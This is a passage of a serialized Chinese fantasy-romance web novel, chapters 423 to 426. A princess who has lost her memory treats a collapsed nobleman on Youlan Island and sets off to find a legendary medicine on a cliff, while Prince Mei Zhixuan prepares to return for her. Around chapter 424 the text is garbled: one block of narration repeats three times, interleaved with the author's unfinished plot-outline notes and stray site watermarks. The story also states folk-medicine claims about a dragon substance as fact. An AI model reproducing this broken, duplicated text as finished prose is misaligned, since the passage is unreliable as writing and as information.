遂嘴里一边朝其呵斥着,一边伸手将中年男子的衣袖掀开,搭上手指上去颇为认真地替其把起脉来。 “姑娘懂医术?” 那年轻侍卫欲又再次开口,被女子蹙眉瞪了一眼,立马收了声。 女子换了只手继续把了把脉,认真地道:“你家主人需要好好静养。” 年轻侍卫听了这话,看了看这附近除了茫茫大海,根本就荒无人烟。 于是,方才刚刚舒开了些许的眉头顿时复又愁眉苦脸了起来:“这方圆百里皆荒无人烟之地,我们能去哪儿静养啊?这可该如何是好?我家主人,他乃是东宁国当今……” 似是觉得自己失了言,忙又着急改变说辞:“我家主人乃是东宁国当今有名的商人,他的命可金贵着呢,这要是万一有个闪失,我就是被砍一万次头,也赔不起啊!” 女子狠狠瞪了一眼那侍卫,无奈的摇摇头道:“你家主人哪里有你想的那么严重?我这还什么都没说,你就不知道已经想到哪儿去了?竟能担心成这样。” 那侍卫似是根本就没有认真听女子所言,只顺着自己的想法兀自发挥:“我家主人这都昏迷不醒了,我能不担心吗?” 忽一回忆起女子的话来,又安静下来似是有些怀疑地问:“没有那么严重?这是真的吗?你的意思是……” 此时,女子已经把好了脉,一边替其遮好衣袖来,一边解释道:“不用你说,我从你家主人的脉象上一摸便知是富贵脉,又根据你方才所言,我想他只是因为年纪大了。已经难以承受跋山涉水和风餐露宿的辛苦,加之又在海边被海风吹了一夜,他的体内侵入了寒气。你呀,得赶紧找个地方让他好好休息一下,再食用些热粥,马上就会恢复的。” 那年轻侍卫顿时转而一脸欣喜又不敢相信地道:“你说的都是真的吗?没骗我?” “哼……他都年纪这么一大把了,就该像温室里的花朵一样被人伺候着。既然吃不了苦,就不要带出来到这种荒废的地方逞能。”女子起身不屑地警告眼前的人道。 启料听了这句话,那年轻侍卫竟然顿时暴跳如雷地呵斥起女子来:“你住口,你懂什么?我们……我们主人那是听人说,幽蓝岛上昨夜很有可能将会有极大的疫情发生,这才不顾全家人的反对,一路颠簸特来此查看虚实的?” “哦?一个商人竟也会对这等该是一国之君该操心的国事上心,看来那你们主子倒还真是值得让人可歌可敬啊!”女子冷冷地笑着道。 然其心里却在暗自嘀咕:“哼,鬼才相信你们是什么商人呢?是商是官,本又与我何干?” 闻此,年轻男子终于收声不再与她继续争执,却是无助地对怀里的中年男子道:“主人啊主人,这里前不着村后不着店的,哪里才能寻得到住所呢?” 女子一见他絮絮叨叨尽是一大堆没用的,中年男子却是不能再这样下去,于是苦道:“算了,看在大家都是出门在外的份上,跟我走吧,我知道一个地方可以让你家主人休息会儿。” 女子将话说完,便转身往来时候的路上走去。 那年轻侍卫顿时眼前一亮,似是一时间还反应不过来。 明明他们在来时的路上,早已在附近仔细勘察过,根本就没有人家在此安家的。可眼下这个女子却说,难道她真的…… 正在暗自思量着,女子忽觉察到他并没有跟上来。 便顿足转身朝其大喝一声,吓唬他道:“你到底走不走,晨起这边的海边湿气最大,瘴气也最为凶猛,你若再不走这样耽搁下去,你家主人那可真的是要丧命于这荒野里了哦!” “走走走,这就走……” 闻此,年轻侍卫方才忽地回过神来,忙将主人背起,急奔跟了上去。 而此时,从与他们此时正所处的相反的方向,海的另一边匆匆赶回木屋里的一老一小俩人却是急坏了。 “不好了,不好了。” 先两步进到木屋的小丫头绿儿,脚刚迈进去便复又从屋内奔跑出来朝着白胡子老翁正回来的方向着急地大喊大叫道。 “哎呀,小祖宗,我说你这个丫头怎么突然变得如此毛毛躁躁了?这又是怎么了啊?” 回来的路上,白胡子老翁拄着拐杖心里本就对昨夜的怪事若有所思着,闻声即刻顿足停了下来气喘吁吁极不耐烦地责备道。 然绿儿此刻却似是连话都说不出来了,一手扶着白胡子老翁的胳膊,只另一手回指着木屋方向…… 第四百二十三章:不救他便是杀了他 绿儿此刻似是已经连话都说不出来了,只一手扶着白胡子老翁的胳膊,另一手回指着木屋方向,吞吞吐吐地道:“爷,爷爷,公主,公主,她,公主,公主……” “公主,公主她怎么了?” 白胡子老翁这才意识到事情的严重性,等不及绿儿再次开口,便一瘸一拐地拄着拐杖急奔进了木屋。 “公主” “公主” “公主你在哪儿啊?” “公主,公主啊。” …… 白胡子老翁亲自里里外外,角角落落里到处仔细寻找呼唤着。 最后,他还是气喘吁吁,绝望地一屁股重重地瘫坐在了木屋外的台阶上…… “爷爷,怎么办?怎么办?我们把公主给弄丢了,这要如何向三皇子殿下交待,这可怎么办啊?呜……呜……呜……” 小丫头绿儿亦是将木屋的每个角落里翻了个底朝天,最后终亦失望的嘟着小嘴儿,默默地来到白胡子老翁身边坐了下来,伏身下去在其膝盖上伤心无助地哭了起来。 此时,在白胡子老翁的脑海里,却满满都是昨夜里从木屋上空所幻化出来的那个颇具震撼和神秘力量的七彩凤凰虚影。 那凤凰虚影入海,竟然能够净化整片大海的水质。 如今的那片海,他昨夜已经仔细彻底地检验过,今后再也不会有幽光出现了。 他忽然想起了梅志煊所说的,东宁嫡公主其实是西秦守护者后人。 “莫非,这一切便是那股传闻中的西秦守护者后人强大的神秘力量所致?昨夜的七彩凤凰虚影,是公主所幻化的?她——真的是西秦守护者后人。” 白胡子老翁简直不敢相信,忽然自言自语地低声喃喃道。 绿儿闻声,忽然止住哭声来缓缓抬起头不解地问:“什么?爷爷您说,昨夜出现的那七彩凤凰虚影是……” 小丫头简直不敢相信自己的耳朵,说着说着似是瞬间明白了什么,接着更为惊讶地道:“那公主她,难道她已经……” 显然,接下去的话,她已经说不出口了。 就在这一老一小俩人为此深感纳闷不解时,白衣女子带着俩名男子正缓缓朝着木屋方向走来。 小丫头绿儿忽然转头远远地一瞥见远方的来人,顺势直愣愣地站起身来。 待目光定定地一看清楚来人正是女子,一点儿也没错时,她满脸欣喜若狂地正欲大声呼喊:“公……” 恰时,其身边的白胡子老翁猛地一把将她的胳膊紧紧拽住,沉声叮嘱道:“有陌生人在,以防万一,暂且称呼公主作小姐。” “是,绿儿明白了。” 闻此,小丫头顿时卸去了脸上的笑容,看着白胡子老翁此刻极为认真的脸,点头轻声地答应道。 继而疾步上前相迎,将女子扶住,关切地问:“小姐,你几时醒过来的?这大清早的,你跑到哪儿去了?绿儿和爷爷担心死了。” 女子对她笑了笑,兀自又仔细打量了一番眼前这一老一小俩人,以为他们就是相依为命的祖孙俩,便对着白胡子老翁道:“爷爷您好,莫非您二位便是这座木屋的主人。我想,也一定是你们救了我,对吗?” 白胡子老翁缓缓立起,一手拄着拐杖,另一手捋着下巴上长长的胡须,脸上却并不得见丝毫的笑容。 绿色见了,急忙替他回答:“救小姐您的人,可以说是我们,也不是我们。这些小姐不必放在心上,倒是小姐你刚才到底去哪儿了,我们都担心死了,还以为你是昨夜化……” 脱口而出的话正欲出口,一旁的白胡子老翁重重地“嗯……”了一声,绿色这才猛地意识到自己失了言,即刻收了声。 女子似是看出了些什么,但是来不及多往下思考去,她忙回头看看身后此刻刚刚赶上来的男子。 对白胡子老翁请求道:“爷爷,方才我是去海边看日出了。途中遇见了这俩个人,其中那个中年男子体内侵入了湿寒之气,又因疲劳过度陷入了昏迷,不知爷爷可否留他们在木屋里修养几日?” 白胡子老翁听了一脸严肃,仔细打量了一番那俩个来人,尤其是那个昏迷了的男子,看其衣着与气质不凡,绝非普通的身份,于是缓缓道:“我这里向来不欢迎外人。” 女子虽被拒绝,但依然笑着并未放弃,继续试着说服央求:“这俗话说得好,救人一命胜造七级浮屠,这方圆百里再无其他人家可去,爷爷您若是不救他,不就等于便是您亲手杀了他吗?”梦想中文 此话一出,白胡子老翁瞬间惊呆了,直看向女子定定的眼睛,哑口无言道:“你……” 就在俩人目光碰撞在一起,互相较量时,那年轻侍卫一见眼前的局势,忽又凄惨地哭诉了起来。 “主子啊主子,你醒醒,醒醒啊!你不能死,不能死啊,你要是有个三长两短,让奴才回去如何对那一大家子人交代啊。他们个个孤儿寡母,老的老,小的小。以后谁来照顾他们啊。你要是……奴才也不活了……” 见此,女子心里暗暗窃喜,悄悄赞赏:“这个笨奴才,倒也还没笨到家嘛。” 紧接着,她又开始煽风点火对白胡子老翁开口道:“对于这里来说,我又何尝不是个外人!若如爷爷所言,那我也是万万不能再留在这里了。与其这样,就此谢过二位的救命之恩。大恩大德没齿难忘,我这便与他二人一起离开吧。” 说完,女子便倏地转身回头对那男子命令道:“你这个不长心的奴才,没看到这里不欢迎咱们吗?还不快背上你家主人赶快随我离开!” 启料刚在心里夸了他聪明,转眼就又变回笨拙了。 那年轻侍卫听了,抬起头来惊讶地道:“什么?离开?咱们还能去哪儿啊!这……” 女子狠狠地瞪了他一眼,他紧忙收了声。 “小姐别走。”这时,一旁的小丫头绿儿见了极了。 她松开女子的胳膊,朝着白胡子老翁近身过去替其央求道:“爷爷,你就留下他们吧,小姐她刚醒来,身体还弱着,这出去万一要是有个什么闪失,那可如何是好?她可不能离开这里啊!” 女子听了暗自心里得意着,而嘴上却顺势对那年轻侍卫催促吩咐道:“你还愣在这里干什么,再不走你家主人就真的要死在这里了。” “爷爷,爷爷……”小丫头听到女子的催促之声传来,着急地不停摇晃着白胡子老翁的胳膊,祈求道。 那年轻侍卫无助地咬了咬牙,背起主人转身正欲迈开步伐来再次出发,忽闻身后传来白胡子老翁的声音道:“好了好了,你们就暂且留下吧。” 女子闻此,顿时转身朝其抱拳致谢:“多谢爷爷。” 小丫头亦高兴地跳了起来,拍手直道:“谢谢爷爷,谢谢爷爷。” 年轻侍卫猛地转身,终于如释重负地扬起笑脸来,连连道谢:“谢谢老人家,谢谢老人家。” 忽然,白胡子老翁又补了一句,认真地道:“你们可以留下来,但是我绝对不会出手救他。而且,明天早上天一亮,不管他什么情况,你们俩都必须离开这里。” “明天天一亮就离开……”闻此,年轻侍卫的心里顿时咯噔一下,似是非常担心。 然女子却笑着信誓旦旦地朝其保证:“一日一夜的时间,足够他恢复了。我保证,明日一早,他绝对会安然无恙地离开这里的。” “嗯,那最好。”白胡子老翁目光定定地深看了女子一眼,便转身离开。 就在剩下的所有人都忧心忡忡地看着已深陷昏迷之中,似是不省人事了的中年男子怀疑发愣时,女子疾声催促年轻侍卫道:“你还杵在这儿干嘛,还不快将你家主人背回屋内,放在榻上,让他暖和起来。” “哦,对对对。”年轻侍卫瞬间回过神来连连道。 说完,便一溜烟儿似的飞奔进屋内。 女子对着其匆匆离去的背影无奈的摇了摇头,转而看向身旁的小丫头,道:“对了,你叫做……” “启禀公……” 话刚开口,她又忙伸出一手捂了嘴,转口又道:“启禀小姐,我叫绿儿。” 女子微微斜了她一眼,似是对绿儿屡屡怪异的行为也极为的不满,可眼下救人要紧,其他都待后面再细细了解。 于是,她吩咐小丫头道:“绿儿,劳烦你去找一身干爽的衣裳给他换上,另外再煮一些去湿气的薏仁红豆粥想办法给他服下。” “是。”绿儿领命后便高兴地退了下去。 然尚未待其走出几步,女子忽然又将其再次叫住:“绿儿,你等等。” 绿儿不厌其烦地再次朝其走回来问:“小姐可是还有什么吩咐?” 女子想了想,问:“在这小岛上,可有什么好的补体虚的药草?我方才替他把脉的时候,见他身体像是很虚弱的样子。他之所以会昏迷,主要也是因为这个。” “小姐您可真善良!” 小丫头一边惊叹着,一边转头伸手指向远方高高的一处悬崖峭壁…… 第四百二十四章:龙漦 女子想了想,问:“在这小岛上,可有什么比较好的补体虚的药草?我方才替他把脉的时候,见他身体像是很虚弱的样子。他之所以会昏迷,实质上主要也是因为这个。” “小姐您可真善良!” 小丫头一边惊叹着,一边转头伸手指向远方高高的一处悬崖峭壁。 “小姐您瞧那边。” 女子遂朝着绿儿所指向的地方望去。 小丫头介绍道:“那远处险峻的悬崖,名叫‘龙漦崖’……” “龙漦崖?”女子目光定定地望着其所指向,沉声重复了一句。 绿儿扭头看着女子的眼睛,朝其肯定地点了点:“对,龙漦崖。” 俩人一起沉默着望向那处绝壁,顿了顿,绿儿回忆着继续道:“从前,绿儿听爷爷说,如果一个人能攀到龙漦崖的最高处,对着其脚下的那片滔滔大海虔诚的许愿,便会得到海神娘娘的眷顾,她老人家会赐你一些龙漦……” 不及绿儿将话说完,女子心中甚觉新奇地收回了视线,将其打断道:“龙漦?那是什么?” 小丫头皱着眉,却似一本认真地解释道:“其实,这也只不过是绿儿很久以前听爷爷所讲的一个传说而已。据说,那龙漦是只仅仅唯独存在于那片大海才有的,生活在海底最深处的一种数量极少的神龙所出。它被那与生俱来身体便有一种奇香的神龙排出体外后,又在海水中经过各种物质漫长甚至几百年以上变化所形成的一种干燥块状物。” “哦?世间竟有如此神奇之物?”女子深感不可思议极了。 绿儿点点头,继续道:“那起初本为漆黑的一团墨色的龙漦在海水的作用下,后来渐渐变为灰色、浅灰色,最后直至成为白色。而其中,自然是以白色的龙漦品质为最好,它要经过上百年以上海水长久的浸泡,将里面的杂质全都漂了出来,如此才能成为龙漦中的极品。” 女子听了连连点头,心中甚觉惊讶,亦实属珍贵,稍一思索忙又问道:“那龙漦到底都有哪些神奇的药效呢?” 绿儿似是津津乐道地说:“爷爷曾说,那天然白色的龙漦颇为珍贵。可以活血、益精髓、助阳道、通利血脉,是治病和补益强身的名贵药材。” 听了绿儿的话,女子甚觉满意,顿时满脸欣喜的连连点头,信誓旦旦地道:“好,那便就是它了!我这便去龙漦崖将那白龙漦取回。” 话音未落,女子转身拔腿便走。 小丫头见了忙将她的胳膊一把拽住,不解地问:“小姐,小姐,你这是要去哪儿啊?” 女子回头解释道:“当然是去那龙漦崖脚下取龙漦了!” 小丫头甚觉不可思议地道:“小姐你这是在和绿儿开玩笑吗?” 女子不明白她此番话的意思,道:“开玩笑?开什么玩笑?我当然是很认真的啊!” 小丫头摇摇头,提醒说:“绿儿方才一开始不是都说过了,绿儿所言俱都是昔日里听爷爷所讲的传说故事。小姐不会真的以为你朝着海神娘娘虔诚地许愿,就真能得到珍贵的龙漦吧?!” 怎料女子心底却并不把那只当成是个传说。 其实,冥冥中,她自己也不知道为什么,在她的脑海中的某个角落,似是在哪里看到亦或听到过这个东西。 可仔细想了又想,一时半会儿又不知自己这记忆从何而来。 这种尤为清晰,似曾相识,又说不清道不明的感觉,不知道该如何同小丫头讲清楚。 索性,她也不愿再做多解释,只道:“不去亲自试试,又怎会知道它究竟是不是真的存在的呢?” 小丫头闻声,被眼前看起来如此娇小柔弱一女子如此执着的勇气惊呆了。 她转头过去再次看了看那座即使是在远处,也让人一见便望而生畏的悬崖峭壁,默默地咽了口口水,继续尝试着劝阻她:“可……可就算这些传说都是真的,你一个弱女子,又怎么可能攀得上那般险峻的一座悬崖峭壁呢?那即便就是一名身怀武艺的强壮男子,也是绝对不会那样容易做到的啊!” 女子顺势将一手搭在小丫头的肩上,一边笑着安慰道:“放心吧,小丫头,我自有办法。” 小丫头遂看了看其肩上所搭上来的一只骨瘦如柴的纤纤玉手一眼,颇为担心地道:“可是,小姐你刚刚才醒来,身子尚且还未……” 女子顿时伸出一根手指来搭在自己温软的红唇边,嘘声说道:“嘘……不要说了。听话,我去去就回。你赶快回去将我方才吩咐你的事情都去办好就行了,哈!” “可是……”小丫头似是还想继续开口争取一下。 然女子却已是不再给她任何机会,只自顾自飞快地转身,兀自一溜烟儿似的提起裙摆跑远了。 小丫头对着其飞奔逃离去的背影一边用力地招手,一边大声急呼:“小姐,小姐,……” 见其根本就是对自己的呼唤一点儿反应都没有,反倒越是喊便越是跑得快,小丫头无奈地压低声音苦道:“绿儿其实是想说,要是爷爷知道是我告诉了小姐龙漦崖的故事,而且小姐你竟然信了这个故事且独自上了龙漦崖,那绿儿可就……” 似是都不敢继续往下想了去这严重的后果,绿儿只能无奈地跺跺双脚,道:“小姐啊,这次你可是真的害惨绿儿了……” 转念,她又忙将双手合并起来,同时闭上眼睛在心里默默地祷告:“上天保佑,保佑公主一定要平安归来。三皇子殿下,你怎么还不回来,你若是再不回来,怕是就要出大事了……” 东宁皇宫,一偏僻的院落里。 一片朝气蓬勃的阳光照射下,水墨间映照在曙光里的迷离风景正在盛开,微风柔柔地轻拂大地,雪一般飞舞雀跃的秋花渐渐的坠落在柔软的地面上。 忽然,现出一道银光,打破了眼前这整片宁静。 小花园里,原是梅志煊晨起正手执长剑,其剑如白蛇吐信,嘶嘶破风,时而又如游龙穿梭,行走四身,时而轻盈如燕,点剑而起,时而骤如闪电,落叶纷崩。 风度翩翩的霓裳绞入他剑气的呼啸声间,他鸣着呐喊刺出一道深刻的痕迹如那划过的流星,破石裂山之间的哀鸣声弥散在阵阵回声的重复里。 与他那凌厉的剑招在那瞬间合二为一,那气势磅礴,似是要将这整个天下吞没一般。 …… 终于,他大汗淋漓地缓缓收了势。 “嗯。” 却见其忽然发出一声闷哼来,继而一手执剑,忙伸出另一手将其附在了自己的胸口间。 “殿下,殿下这是怎么了!” 见状,一直守在其身旁不远处观剑的轩辕玥紧忙上前将其扶住,关切道。 “没事,玥儿不必担心。”梅志煊忍着疼痛,对其微微笑了笑,道。 “真的没事吗?要不要让太医来瞧瞧?”轩辕玥颇为担心,眉头紧蹙着追问道。 梅志煊脸上强撑出一抹笑容来,安慰其道:“没事,放心,许是方才练剑时用力过猛,休息会儿就没事了。” 虽然如此,轩辕玥依旧露出一脸的担心,遂一边扶着梅志煊朝凉亭里去落座,一边吩咐道:“锦兰,快上茶。” 采药时被梅志煊所救 告诉他秦王已战死 白胡子老翁想要替婉儿报仇毒害东宁国君,被衣上云救活。 衣上云得知后并未将事实真相揭发,决定回宫一定会查明事实真相还他公道。 “” “婉儿,你看到了吗”见状,一直守在其身旁不远处观剑的轩辕玥紧忙上前将其扶住,关切道。 “没事,玥儿不必担心。”梅志煊忍着疼痛,对其微微笑了笑,道。 “真的没事吗?要不要让太医来瞧瞧?”轩辕玥颇为担心,眉头紧蹙着追问道。 梅志煊脸上强撑出一抹笑容来,安慰其道:“没事,放心,许是方才练剑时用力过猛,休息会儿就没事了。” 虽然如此,轩辕玥依旧露出一脸的担心,遂一边扶着梅志煊朝凉亭里去落座,一边吩咐道:“锦兰,快上茶。” 采药时被梅志煊所救 告诉他秦王已战死 白胡子老翁想要替婉儿报仇毒害东宁国君,被衣上云救活。 衣上云得知后并未将事实真相揭发,决定回宫一定会查明事实真相还他公道。 “” “婉儿,你看到了吗”见状,一直守在其身旁不远处观剑的轩辕玥紧忙上前将其扶住,关切道。 “没事,玥儿不必担心。”梅志煊忍着疼痛,对其微微笑了笑,道。 “真的没事吗?要不要让太医来瞧瞧?”轩辕玥颇为担心,眉头紧蹙着追问道。 梅志煊脸上强撑出一抹笑容来,安慰其道:“没事,放心,许是方才练剑时用力过猛,休息会儿就没事了。” 虽然如此,轩辕玥依旧露出一脸的担心,遂一边扶着梅志煊朝凉亭里去落座,一边吩咐道:“锦兰,快上茶。” 采药时被梅志煊所救 告诉他秦王已战死 第四百二十五章:再次启程 轩辕玥却似已经从这眼神中得到了答案,遂低声喃喃道:“殿下……很快……又要走?” 此话一出,一时间就连周围的空气似是也都静止了一般,然梅志煊却依然沉默着不说话。 “殿下,玥儿……” 见此,轩辕玥忽地立起身来,却是想发狠说出的话,终是将其全都咽了下去。 似是直到此刻一直都不敢抬起头来看她的眼睛,然却无比清晰地感受着轩辕玥正紧紧盯视着自己,虽是无言,确是对他满满皆是失望的眼神。 直到最后那孤寂无助的背影渐渐离去,梅志煊方才缓缓起身来舒了口气,转身凝视了她的背影片刻,遂沉声吩咐身旁的侍卫道:“走吧!” 侍卫深感惊诧地问:“走?殿下准备要去哪儿?” 梅志煊一边缓缓收回视线来,一边转身目光定定地看着侍卫的眼睛道:“再次启程回幽蓝岛木屋。” “什么?咱们不是刚从幽蓝岛回来吗?殿下怎么又要回去?您不是还在回来的路上,打算这次回宫一定要多陪小殿下一段时日的吗,怎么…怎么这么快便又要离开?” 看到梅志煊说完便走,侍卫小跑两步上前紧随其后,甚是满腹不解地问。 梅志煊踏上回廊的台阶,一边快步往出宫的方向走,一边默想了会儿,忧心地道:“本皇子原本计划这次回来是想多呆几日好好陪陪她们母子的,可昨夜半夜里忽然梦醒后,就再也睡不着了,就连这眼皮亦总是一直跳个不停。眼下,应以大事为重,本皇子今日所做的一切,也全都是为了他们母子。未来终有一日,相信她都会明白的。” “是。”侍卫轻抿了下嘴唇,瞬间明白了梅志煊的良苦用心。 顿了顿,梅志煊稍作回忆遂皱起一双浓黑的剑眉来又道:“方才练剑之时,胸口处又忽觉一阵心如刀绞般地剧痛难耐。本皇子担心,莫非是…幽蓝岛木屋那边将会有什么大事发生?” 侍卫认真地听了梅志煊的一席话后,却是完全不以为然地道:“不会吧?殿下是不是过于劳累而多虑了?公主她不是还在昏迷中吗?对于一个不知道这辈子究竟还能不能醒来的人,又能出什么大事呢?况且还有……” 未及其将话说完,只见梅志煊的脸色变得愈来愈沉,忽然顿足停了下来冷不防地转身回去警告那侍卫道:“住嘴,本皇子不许你这么说她。她一定会醒来,一定会!” 侍卫见此顿时朝其愣住,待刚一反应过来。只闻“扑通”一声,忙单膝跪地下去,抱拳垂首对其直连连致歉:“是是是,殿下所言极是。公主她一定会醒来,一定会醒来。方才是属下失言,殿下请息怒。” “哼……” 梅志煊似是咬牙切齿地朝他狠狠瞪了一眼,又甩了甩衣袖,发出一声冷哼。 方才转身再次回头一边走,一边道:“关键时刻,眼下,可不能再出任何岔子了!” 侍卫咽了口口水,一边起身跟上,一边拭了拭额头的冷汗。 梅志煊沉默了一会儿,在前面兀自又问:“对了,本皇子交代你的事办的怎么样了?可有已经打探到父皇的消息,他究竟去哪儿了?” 侍卫想了想,露出一脸难色地道:“回禀殿下,皇上和皇后那两边的人口风一向都极紧。属下也是好不容易费了九牛二虎之力,方才只买通了皇上那边一个在不怎么起眼的角落里办差的奴才。这才打听到皇上竟然在咱们小殿下的满月宴一结束的当天夜里,便连夜出宫去了。” “哦?走的如此着急,是有什么十万火急的事发生吗?”梅志煊蹙眉环视着四周,目光快速地扫过周围的美好景致,却似根本就无心欣赏。其一双犀利的眼神更像是在查看周围是否隔墙有耳一般。 侍卫亦是心中甚觉不可思议地回忆着,道:“听说,皇上好像是夜里做了个梦,梦到了嫡皇后,醒来一直忘不了那梦境里的地方。因为依稀记得是在一片茫茫大海边,所以便寻了去,具体什么方位就不得而知了!” 梅志煊默了会儿,道:“父王这一生,对嫡母后一直都深感愧疚,自责自己当年无论如何都不该答应嫡母后出使西秦。可作为一个君王,太沉迷于这些靡靡儿女情长,来消磨自己的斗志,事实上并不是什么好事。” 侍卫一脸敬佩地道:“可事实上却是,嫡皇后,她即便是在今日,都在我东宁国的民间,大街小巷,有着很好的评价和口碑。” 梅志煊当然不会否认,往事一幕幕,沉默了许久后,转念忽低声喃喃道:“希望幽蓝岛上的木屋,千万不要被他发现了。” 侍卫想了想,顺着他的话道:“那座木屋,从来都不会让陌生人靠近。属下想,皇上即便是去了那个方向,应该也不会那么容易发现吧。” 然梅志煊却忽然喃喃沉声道:“怕只怕公主在那里,早都已经不安全了。” 闻此,倏地看向梅志煊那忽然变作像是极为认真严肃又肯定的侧脸的侍卫,似是心里也有些七上八下摇摆不定了。 他想了一瞬,开口不知所措地问:“若真是如此,那我们该怎么办?依照目前我们的准备,事实上并不充分,要是没有西秦守护者的力量支持,现在冒然举事的话,可是说是毫无胜算的可能。”菡萏文学 是啊,打从梅志煊在北烈国由易三少的手里如获珍宝,偷偷将衣上云抢夺带回东宁的时候,他怎么都没有想到自己带回的,竟会是一个像是被诅咒了的沉睡的睡美人。 回国的一路上,他满心欢喜地算计着所有可能,可如今,她却像是变成了一块烫手的山芋。 捧着,就连最基本的填饱肚子也不能马上做到,舍弃,又不甘心自己长久以来所为此而付出的一切。 冥冥之中,他知道是自己一直在欺骗自己。 其实没有人知道,她到底还有多久才能苏醒过来,或许,她真的永远都不可能…… 一时间里思绪万千,这个极端危险消极的念想似是都快要将他整个人都淹没,可他还是同以前过去的每一次同样,又立刻将其压了下去。 深吸口气,他定了定神,意味深长地道:“不行,本皇子不相信,不能就这么放弃了。不能坐以待毙,所谓最危险的地方,亦是最安全的地方。” “最危险的地方,亦是最安全的地方。”侍卫缓声重复道。 忽然,他止住步伐来似是茅塞顿开般扬声惊道:“殿下,您该不会是想将公主……将公主接回到宫里来吧?!这…这宫里耳目众多…您这样做,未免也太过于冒险了吧?” 启料梅志煊则不由自主地加快了脚下的步伐,自顾沉默着只埋头赶路,似是已经在心里默默地打定了主意,再也不说话。 侍卫看着其坚毅不屈的背影惊呆了,待刚一反应过来,忙追了上去紧紧跟着。 幽蓝岛上的木屋里。 “绿儿,绿儿……” 白胡子老翁拄着拐杖,从自己的屋内缓缓挪步走了出来,驻足停留在屋檐下大声地呼唤着。 “爷爷,我在这儿!” 霎时,只见小丫头绿儿双手捧着一食盘,里面盛着两碗热气腾腾的薏仁红豆粥和几碟看起来甚是清爽可口的小菜从庖屋里一边急奔出来,一边应声着道。 白胡子老翁一见食盘里搁着两碗热粥,顿时知道了这粥的主人。 顿时沉着脸,似是故意地用目光撇了撇那两名好不容易刚刚借住下来在客房的男子屋内的方向,继而重重地咳了两声清了清嗓子“咳……咳……” 紧接着,又有意提高了些许嗓门,举头看了看头顶高高的日头,大声地在门外故作责怪着绿儿道:“你看这都什么时辰了?怎么煮个粥都煮到快晌午了呢?我说你这小丫头最近怎么越来越没规矩了,是不是想我也连你一块儿撵走啊?” 小丫头看着他,蹙眉不解地道:“爷爷,我们不是刚刚才从海边回来吗?你难道忘记了吗?你……” 未及小丫头将话说完,白胡子老翁遂发出一阵厉声将她阻止道:“住口,你这个小丫头,如今倒是药草没认得几个,反倒是顶嘴的功夫见长,甚是伶牙俐齿啊!你看我,你看我今天非得教训你一顿不可……” 白胡子老翁故作咬牙切齿地说着,竟然真的在四周找起了教棍,想要教训小丫头。 “爷爷,您这到底是怎么了嘛!”小丫头捧着食盘朝其轻轻跺了跺脚,不明所以地道。 “绿儿姑娘!” 就在这时,屋内的年轻侍卫应是听到了门口的吵闹声,走出来唤绿儿道。 紧接着,他大步出来近身到白胡子老翁的身旁,笑着礼貌地朝点了点头,向其问安:“多谢恩人收留。” 启料白胡子老翁却转过身去并不搭理他,且朝其哼了哼鼻子:“哼……” 无奈,他只能走过去找绿儿:“这个交给我吧!你也忙了半天了,休息会儿。” 年轻侍卫说着,一边将其手里的食盘接过,复又走了进去。 “爷爷,您看您……”小丫头见了这尴尬的气氛,嘟着小嘴气道。 第四百二十六章:龙漦崖遇险 片刻后,只见小丫头一脸不悦地迈过门槛,由回廊的一端转了个弯向着木屋的另一端,终于将给白胡子老翁所准备的一份饭菜送了进来。 白胡子老翁远远地一瞄见,赶忙进屋落座等候在了食案前。 绿儿进门后如往常一样,一边将食盘里的碗碟器皿端出来,一边道:“吃饭了!” 见绿儿进来,白胡子老翁顿时扬起笑脸,欣喜又着急地便亲手在其面前的食盘里翻动了起来。 确是半晌后,忽然卸去了脸上的笑意甚觉纳闷地道:“咦,我的桂花酿,今日你没有送来吗?” “怎么?想喝桂花酿啊?!”绿儿心中似是忽觉平衡,暗暗窃喜着,终于舒展开了眉头,故意问道。 “是啊是啊,桂花酿在哪儿呢?这桂花酿就是我的命根子,我老头子可是一顿都少不了他的啊!”白胡子老翁一脸希冀地道。 绿儿看了看他那此时尽是满满渴望至极的脸笑了笑,却又瞬间将脸色阴沉了下去道:“想喝?没有了。明年吧?” “明年……”闻声,对其而言无疑如一晴天霹雳一般,白胡子老翁似是一时半会儿都反应不过来似的,甚觉惊愣。 就在绿儿“咕噜咕噜”转了转那双乌黑俏皮的大眼睛,乘机拿着空食盘想要逃之夭夭时,白胡子老翁忽然从其身后将她叫住:“等等……” 绿儿的腿脚顿时僵住,噶然止步不前。 白胡子老翁定了定神,蓦然间明白她乃是因为方才的事至今而憋气着,所以故意报复自己。 猜透了她的心思,他自是不会因此而与一个孩子置气,遂轻轻吐了口浊气,转念恢复了脸上的平静,看了看摆在自己眼前食案上的一桌各色美食,索性缓缓举筷。 品尝了一口酸爽可口的酸泡菜,觉得其味道清香鲜美、色泽黄绿,口感细嫩脆健,再配上一碗热气腾腾的粥,吃起来甚是别有一番风味。 一边吃着,兀自略一思量,开口问小丫头:“对了,怎么这半晌了也不见公主的身影,她有没有用过饭了?” “公主殿下……她,她……” 闻此,小丫头心里顿时咯噔一下,背对着他脸色忽地变得甚是难看。 正在她犹豫不决地想着如何回话时,忽闻一阵筷子掷地有声的声音传出,继而又是一厉声呵斥传来。 “绿儿,你这丫头真的是越来越奇怪了。往日里你可并不是这样的啊!古今你到底是怎么了?” “我……我……” 绿儿听着,嘴里依旧支支吾吾着,说不出半句完整的话来。 白胡子老翁对此甚是无奈地摇了摇头,索性起身来拄着拐杖朝其近身过去直问她:“罢了罢了,我就只问你一句,公主她究竟有没有用过饭了?” 小丫头满心的惶恐不安,慌乱地点点头,复又摇摇头。 白胡子老翁瞪着她的背影,似是已对她失去了耐心,索性摆摆手道:“去去去……去把公主给我请过来这边……” 这时,小丫头开始艰难地迈起步来。 白胡子老翁正准备要回头再次落座等人,见此止住步催促着道:“你的双脚是被什么东西给锁住了吗?还不快点去请公主……” 闻此,绿儿咬了咬嘴唇,倏地回头对其怯怯地道:“爷爷,其实,公主殿下她,她,并不在屋内……” 宛若一道霹雳炸了开,白胡子老翁忽然间恍然大悟,稍顿慢慢踱步到绿儿的身旁围着她将其仔细打量转了一圈。 停下后,看着绿儿的眼睛佯装糊涂道:“你方才说什么?公主,她不在屋内,那她去哪儿了?” 一种极不好的预感早已涌上了他的心头。 小丫头依旧想要隐瞒,她实在没有勇气,不敢实言相告。试图闪避开白胡子老翁满满质疑的目光,扯谎道:“公主殿下她,她会不会…又跑去海边看日出了……” 这时,白胡子老翁终于忍不住刚刚压下去的怒火,顿时扬声发出一雷霆之怒:“撒谎!眼看着这都已经是晌午了,在你的一日里是有多少个日出啊!她方才刚看完日出回来,难不成又回去再看一次吗?” 